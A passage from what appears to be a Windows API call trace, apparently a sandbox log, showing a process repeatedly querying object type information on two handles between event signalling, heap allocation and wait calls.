ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.197] ResetEvent (hEvent=0x110) returned 1 [0072.197] SetEvent (hEvent=0x114) returned 1 [0072.197] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.197] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.197] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.197] NtQueryObject (in: Handle=0xec, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.197] ResetEvent (hEvent=0x110) returned 1 [0072.197] SetEvent (hEvent=0x114) returned 1 [0072.197] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.197] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.197] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.197] NtQueryObject (in: Handle=0xec, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.197] ResetEvent (hEvent=0x110) returned 1 [0072.197] SetEvent (hEvent=0x114) returned 1 [0072.198] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.198] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.198] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.198] NtQueryObject (in: Handle=0xec, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.198] ResetEvent (hEvent=0x110) returned 1 [0072.198] SetEvent (hEvent=0x114) returned 1 [0072.198] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.198] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.198] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.198] NtQueryObject (in: Handle=0xec, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.198] ResetEvent (hEvent=0x110) returned 1 [0072.198] SetEvent (hEvent=0x114) returned 1 [0072.198] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.198] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.198] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.198] NtQueryObject (in: Handle=0xec, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.198] ResetEvent (hEvent=0x110) returned 1 [0072.199] SetEvent (hEvent=0x114) returned 1 [0072.199] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.199] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.199] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.199] NtQueryObject (in: Handle=0xec, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.199] ResetEvent (hEvent=0x110) returned 1 [0072.199] SetEvent (hEvent=0x114) returned 1 [0072.199] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.199] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.199] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.199] NtQueryObject (in: Handle=0xec, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.199] ResetEvent (hEvent=0x110) returned 1 [0072.199] SetEvent (hEvent=0x114) returned 1 [0072.199] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.199] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.200] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.200] NtQueryObject (in: Handle=0xec, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.200] ResetEvent (hEvent=0x110) returned 1 [0072.200] SetEvent (hEvent=0x114) returned 1 [0072.200] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.200] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.200] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.200] NtQueryObject (in: Handle=0xec, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.200] ResetEvent (hEvent=0x110) returned 1 [0072.200] SetEvent (hEvent=0x114) returned 1 [0072.200] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.200] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.200] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.200] NtQueryObject (in: Handle=0xec, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.200] ResetEvent (hEvent=0x110) returned 1 [0072.200] SetEvent (hEvent=0x114) returned 1 [0072.200] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.200] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.201] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.201] NtQueryObject (in: Handle=0xec, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.201] GetFileType (hFile=0xec) returned 0x3 [0072.201] ResetEvent (hEvent=0x110) returned 1 [0072.201] SetEvent (hEvent=0x114) returned 1 [0072.201] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.201] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.201] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.201] NtQueryObject (in: Handle=0xec, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.201] GetFileType (hFile=0xec) returned 0x3 [0072.201] ResetEvent (hEvent=0x110) returned 1 [0072.201] SetEvent (hEvent=0x114) returned 1 [0072.201] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.201] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.201] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.201] NtQueryObject (in: Handle=0xec, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.202] GetFileType (hFile=0xec) returned 0x3 [0072.202] ResetEvent (hEvent=0x110) returned 1 [0072.202] SetEvent (hEvent=0x114) returned 1 [0072.202] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.202] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.202] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.202] NtQueryObject (in: Handle=0xec, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.202] ResetEvent (hEvent=0x110) returned 1 [0072.202] SetEvent (hEvent=0x114) returned 1 [0072.202] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.202] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.202] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.202] NtQueryObject (in: Handle=0xec, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.202] ResetEvent (hEvent=0x110) returned 1 [0072.202] SetEvent (hEvent=0x114) returned 1 [0072.202] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.203] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.203] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.203] NtQueryObject (in: Handle=0xec, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.203] ResetEvent (hEvent=0x110) returned 1 [0072.203] SetEvent (hEvent=0x114) returned 1 [0072.203] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.203] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.203] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.203] NtQueryObject (in: Handle=0xec, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.203] ResetEvent (hEvent=0x110) returned 1 [0072.203] SetEvent (hEvent=0x114) returned 1 [0072.203] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.203] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.203] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.203] NtQueryObject (in: Handle=0xec, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.203] ResetEvent (hEvent=0x110) returned 1 [0072.204] SetEvent (hEvent=0x114) returned 1 [0072.204] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.204] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.204] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.204] NtQueryObject (in: Handle=0xec, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.204] ResetEvent (hEvent=0x110) returned 1 [0072.204] SetEvent (hEvent=0x114) returned 1 [0072.204] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.204] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.204] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.204] NtQueryObject (in: Handle=0xec, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.204] ResetEvent (hEvent=0x110) returned 1 [0072.204] SetEvent (hEvent=0x114) returned 1 [0072.204] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.204] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.205] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.205] NtQueryObject (in: Handle=0xec, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.205] ResetEvent (hEvent=0x110) returned 1 [0072.205] SetEvent (hEvent=0x114) returned 1 [0072.205] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.205] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.205] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.205] NtQueryObject (in: Handle=0xec, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.205] ResetEvent (hEvent=0x110) returned 1 [0072.205] SetEvent (hEvent=0x114) returned 1 [0072.205] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.205] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.205] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.205] NtQueryObject (in: Handle=0xec, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.205] ResetEvent (hEvent=0x110) returned 1 [0072.205] SetEvent (hEvent=0x114) returned 1 [0072.205] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.206] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.206] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.206] NtQueryObject (in: Handle=0xec, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.206] ResetEvent (hEvent=0x110) returned 1 [0072.206] SetEvent (hEvent=0x114) returned 1 [0072.206] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.206] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.206] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.206] NtQueryObject (in: Handle=0xec, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.206] GetFileType (hFile=0xec) returned 0x3 [0072.206] ResetEvent (hEvent=0x110) returned 1 [0072.206] SetEvent (hEvent=0x114) returned 1 [0072.206] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.206] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.206] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.206] NtQueryObject (in: Handle=0xec, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.207] GetFileType (hFile=0xec) returned 0x3 [0072.207] ResetEvent (hEvent=0x110) returned 1 [0072.207] SetEvent (hEvent=0x114) returned 1 [0072.207] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.207] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.207] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.207] NtQueryObject (in: Handle=0xec, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.207] GetFileType (hFile=0xec) returned 0x3 [0072.207] ResetEvent (hEvent=0x110) returned 1 [0072.207] SetEvent (hEvent=0x114) returned 1 [0072.207] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.207] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.207] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.207] NtQueryObject (in: Handle=0xec, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.207] ResetEvent (hEvent=0x110) returned 1 [0072.207] SetEvent (hEvent=0x114) returned 1 [0072.208] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.208] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.208] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.208] NtQueryObject (in: Handle=0xec, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.208] ResetEvent (hEvent=0x110) returned 1 [0072.208] SetEvent (hEvent=0x114) returned 1 [0072.208] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.208] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.208] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.208] NtQueryObject (in: Handle=0xec, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.208] ResetEvent (hEvent=0x110) returned 1 [0072.208] SetEvent (hEvent=0x114) returned 1 [0072.208] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.208] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.208] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.209] NtQueryObject (in: Handle=0xec, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.209] GetFileType (hFile=0xec) returned 0x3 [0072.209] ResetEvent (hEvent=0x110) returned 1 [0072.209] SetEvent (hEvent=0x114) returned 1 [0072.209] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.209] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.209] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.209] NtQueryObject (in: Handle=0xec, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.209] GetFileType (hFile=0xec) returned 0x3 [0072.209] ResetEvent (hEvent=0x110) returned 1 [0072.209] SetEvent (hEvent=0x114) returned 1 [0072.209] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.209] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.209] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.209] NtQueryObject (in: Handle=0xec, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.209] ResetEvent (hEvent=0x110) returned 1 [0072.209] SetEvent (hEvent=0x114) returned 1 [0072.210] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.210] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.210] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.210] NtQueryObject (in: Handle=0xec, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.210] ResetEvent (hEvent=0x110) returned 1 [0072.210] SetEvent (hEvent=0x114) returned 1 [0072.210] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.210] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.210] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.210] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.210] ResetEvent (hEvent=0x110) returned 1 [0072.210] SetEvent (hEvent=0x114) returned 1 [0072.210] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.211] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.211] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.211] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.211] ResetEvent (hEvent=0x110) returned 1 [0072.211] SetEvent (hEvent=0x114) returned 1 [0072.211] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.211] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.211] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.211] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.211] ResetEvent (hEvent=0x110) returned 1 [0072.211] SetEvent (hEvent=0x114) returned 1 [0072.211] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.211] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.211] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.212] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.212] ResetEvent (hEvent=0x110) returned 1 [0072.212] SetEvent (hEvent=0x114) returned 1 [0072.212] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.212] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.212] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.212] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.212] ResetEvent (hEvent=0x110) returned 1 [0072.212] SetEvent (hEvent=0x114) returned 1 [0072.212] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.212] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.212] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.212] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.212] ResetEvent (hEvent=0x110) returned 1 [0072.212] SetEvent (hEvent=0x114) returned 1 [0072.212] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.213] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, 